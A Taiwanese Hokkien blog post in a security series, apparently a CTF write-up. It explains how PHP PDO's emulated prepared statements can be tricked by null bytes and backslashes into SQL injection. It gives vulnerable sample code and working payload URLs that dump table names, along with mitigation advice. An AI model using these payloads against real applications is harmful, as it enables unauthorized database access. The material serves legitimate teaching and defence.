iT邦幫忙

2025 iThome 鐵人賽

DAY 6
0
Security

規組駭了了::你無定落勾去的鑠奅 Web Hacking 步數系列 第 6

0x06 / CTF.SQL Injection .用 PHP PDO 嘛是會出代誌?

  • 分享至 

  • xImage
  •  

https://ithelp.ithome.com.tw/upload/images/20250918/201201872G9nVwoTHW.png

前幾工攏是講一寡佇 conference 內底發表的內容,咱這擺來講一个出佇 CTF 的題目:DownUnder CTF 2025 - legendary by hashkitten

是講 hashkitten 攏會出一寡好耍的後端題,我足佮意的!佇咱現代的 CTF 實在是較罕得看著趣味的後端題矣,攏是一thoo-lá-khuh的前端 QQ

這篇欲來講的是,一个 PHP PDO 用甲好勢好勢,煞閣會當 SQL injection 的新型攻擊步數 —— 準講你用 prepared statements 矣,嘛凡勢會因為 PDO 的一个特性,予歹人揣著注 SQL 的機會。

PDO Prepared Statements 是按怎運作?

一般來講,咱攏會認為 PDO prepare statement 會共咱的 SQL 命令佮參數拆開送去資料庫,得著預防 SQL injection 的效果。譬論講這段 khóo:

<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');
$stmt = $pdo->prepare('SELECT id, name, sku FROM fruit WHERE name = ?');
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
    echo join(' : ', $v) . PHP_EOL;
}

這段 khóo 咱看是真安全,毋管你 name 參數按怎傳,攏袂發生 SQL injection —— 無毋著,毋過伊敢真正是用「正•prepared statements」來做代誌?

代誌無咱戇人想的遐爾簡單。PDO 咱若無特別設定就是走模擬 (emulate) 的 prepared statements,袂真正去使用 MySQL 原生的 prepared statement API。意思是講,PDO 會佇共 query 送出去進前,家己先共處理好勢的參數跳脫 (escaping),才共完整的 SQL 指令送去資料庫遐。

為著欲共參數囥入去正確的所在,PDO 內底有一个細隻的 SQL parser,認有 comment、string 等等的語法,才袂共毋是參數的 ? 嘛當做參數去換掉。毋過,就是這隻 parser 考慮的無夠齊勻,才會予咱有機會共伊騙。

一个概成拍袂行的 SQL Injection

有當時仔咱需要動態決定 select 的欄位,因為 PDO 參數綁定功能袂使用佇欄位名,所以工程師可能會直接共變數插入去 SQL 字串,親像按呢:

<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');
// 為著安全用倒引號包起來,嘛共內部的倒引號跳脫
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
    echo join(' : ', $v) . PHP_EOL;
}

這段 code 有共使用者傳入來的 col 參數好好仔用倒引號 (backtick) 包起來,嘛有共 name 參數好好仔囥入去 prepare statement,看起來概成是袂夆 injection。毋過當然,這段 code 原仔是有問題覕佇咧內底的。

問題其實是出佇 PDO 內底彼隻無夠完整的 parser。咱若佇 col 參數送入一个 null byte (%00),PDO 的 parser 會佇讀著 null byte 以後就袂去解析(kái-sik)欄位名,致使講後壁的字元予誤判。

具體來講欲按怎拍,咱一步一步來看:

  1. 注入去一个參數

咱先試看覓這个 payload:
http://localhost:8000/?name=x&col=?%00

這時陣,你會看著這个錯誤:
Fatal error: Uncaught PDOException: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens

這代表 PDO parser 認為這个 SQL 有兩个 ? 參數,毋過咱 execute 遐干焦提供一个 name 參數。這證明咱已經成功注入去一个 PDO 看有的參數!

原因佇咧咱 PHP 生出這段 SQL:

SELECT `'x`;#'#\0` FROM fruit WHERE name = ?
/* (等於是) SELECT `'x`; */

PDO parser 處理第一个反引號了後,因為頭前 null byte (\0) 的關係,tsua̋nn 無共 ?`#\0 當做是一个完整的欄位名,煞共 ? 當做是參數。

  1. 利用注入的參數來走 SQL Injection

既然咱會當注一个 ? 入去,閣會當用 name 參數來控制彼个 ? 的內容,咱就有法度來 injection。

咱的目標是鬥出這款的 SQL:

SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;

為著得著這个目的,咱愛送這款的 payload:

  • col = \?%23%00
  • name = x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;%23

完整的 URL 看起來會生按呢:

http://localhost:8000/?name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23&col=\?%23%00

這个 payload 會予 PDO 產生這款的 SQL 指令:

SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM fruit WHERE name = ?

MySQL 會去走分號進前的部份,成功共 information_schema.tables 內底所有的 table name 攏 select 出來,造成 SQL injection 的目的!

較舊的 PHP 版本災情閣較嚴重

佇 PHP 8.4 進前,PDO parser 的問題閣較濟。因為舊版的 parser 無處理 MySQL 的反引號,而且攏共字串當做是會使用倒撇號(\)來跳脫的,這佇無支援倒撇號跳脫的資料庫(譬論講 PostgreSQL)會產生閣較嚴重的問題。

下跤這段佇 PostgreSQL 咱看可能安全的 code:

<?php
$dsn = "pgsql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'demo', '', [PDO::ATTR_EMULATE_PREPARES => true]);
$sku = $pdo->quote($_GET['sku']); // 使用內佮的 quote 函數
$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku = $sku AND name = ?");
$stmt->execute([$_GET['name']]);

攻擊者干焦需要傳 sku=\'?-- 這款 payload,就會當騙過 PDO parser,予伊認為 '\' 是一个有跳脫的單引號,煞共後壁的 ? 當做是參數,造成 injection。


這个攻擊步數提醒著咱,就算講有用 prepared statements 嘛毋是絕對安全。問題的底就是 PDO 的模擬 prepared statements 機制。

對開發者來講:

  1. 共模擬模式關掉:這是上好的方法。會當佇建立 PDO 連線的時陣設定 PDO::ATTR_EMULATE_PREPARESfalse
  2. 升級 PHP:若是一定愛用模擬模式,會使確定你用的是 PHP 8.4 以上的版本,而且愛濾掉使用者傳入來的 null byte。
  3. 莫相濫使用:盡量莫共家己鬥起來的 SQL 字串佮 PDO 參數綁定濫做伙用。

對咱駭客來講:

  1. 看著用 PDO emulate mode 時 (特別是 MySQL),就愛去共注意。
  2. 檢查敢有啥物所在是共使用者的輸入佮 prepare statement 濫做伙用的。
  3. \'? 抑是 ?%00 這款 payload 來試看覓敢有這款無注意著的 SQL injection 漏縫。

上一篇
0x05 / SQL Injection.著,伊閣有咧喘氣.Protocol Smuggling
下一篇
0x07 / CTF・Race Condition・Golang 的 = 佮 := 有啥爭差恁敢知
系列文
規組駭了了::你無定落勾去的鑠奅 Web Hacking 步數8
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言